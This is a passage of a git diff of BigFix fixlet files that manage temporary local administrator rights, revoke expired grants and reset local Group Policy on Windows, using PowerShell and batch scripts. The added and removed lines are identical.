-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Remove Expired Users from Authorized Requestors - Windows
+  ID       : 24161
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:25:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Remove Expired Users from Authorized Requestors - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes any expired temporary administrators as provisioned by the temporary administrator fixlet in the C3-Inventory site.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists values "Expiration" whose (it as time < now) of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary ADministrative Rights\Authorized Requestors\Current" of x32 registry]]></Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{concatenations ";" of names of keys whose (value "Expiration" of it as string as time < now) of key "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Revoke -Requestor"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Temporary Administrators - Windows (24162).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Temporary Administrators - Windows (24162).bes
index bcad7cef8..b65599aae 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Temporary Administrators - Windows (24162).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Temporary Administrators - Windows (24162).bes	
@@ -1,184 +1,184 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Remove Expired Users from Temporary Administrators - Windows
-  ID       : 24162
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-05-02T07:26:07
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Remove Expired Users from Temporary Administrators - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet removes any expired temporary administrators as provisioned by the temporary administrator fixlet in the C3-Inventory site.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[exists values "Expiration" whose (it as time < now) of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry]]></Relevance>
-    <Category>Temporary Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{concatenations ";" of names of keys whose (value "Expiration" of it as string as time < now) of key "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (10000000 * week)}"
-parameter "Switches"="-Revoke -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Remove Expired Users from Temporary Administrators - Windows
+  ID       : 24162
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:26:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Remove Expired Users from Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes any expired temporary administrators as provisioned by the temporary administrator fixlet in the C3-Inventory site.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists values "Expiration" whose (it as time < now) of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry]]></Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{concatenations ";" of names of keys whose (value "Expiration" of it as string as time < now) of key "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Revoke -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Reset Local Group Policy - Windows (22647).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Reset Local Group Policy - Windows (22647).bes
index 1353a0b70..594d333ab 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Reset Local Group Policy - Windows (22647).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Reset Local Group Policy - Windows (22647).bes	
@@ -1,51 +1,51 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Reset Local Group Policy - Windows
-  ID       : 22647
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-11-22T09:17:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Reset Local Group Policy - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet resets local Group Policy.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists SELECT objects &quot;* FROM RSOP_RegistryPolicySetting WHERE GPOID=&apos;LocalGPO&apos; and valueName != &apos;&apos;&quot; /* valueName != &apos;&apos; removes blank keys, not sure if this breaks anything*/ of rsop computer wmi</Relevance>
-    <Category>Group Policy</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-09-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-delete run.bat
-
-createfile until _end_
-RD /S /Q &quot;%WinDir%\System32\GroupPolicyUsers&quot;
-RD /S /Q &quot;%WinDir%\System32\GroupPolicy&quot;
-echo n | gpupdate /target:computer /force /wait:120
-echo n | gpupdate /target:user /force /wait:120
-_end_
-
-move __createfile run.bat
-
-waithidden run.bat</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Reset Local Group Policy - Windows
+  ID       : 22647
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:17:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Reset Local Group Policy - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet resets local Group Policy.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists SELECT objects &quot;* FROM RSOP_RegistryPolicySetting WHERE GPOID=&apos;LocalGPO&apos; and valueName != &apos;&apos;&quot; /* valueName != &apos;&apos; removes blank keys, not sure if this breaks anything*/ of rsop computer wmi</Relevance>
+    <Category>Group Policy</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
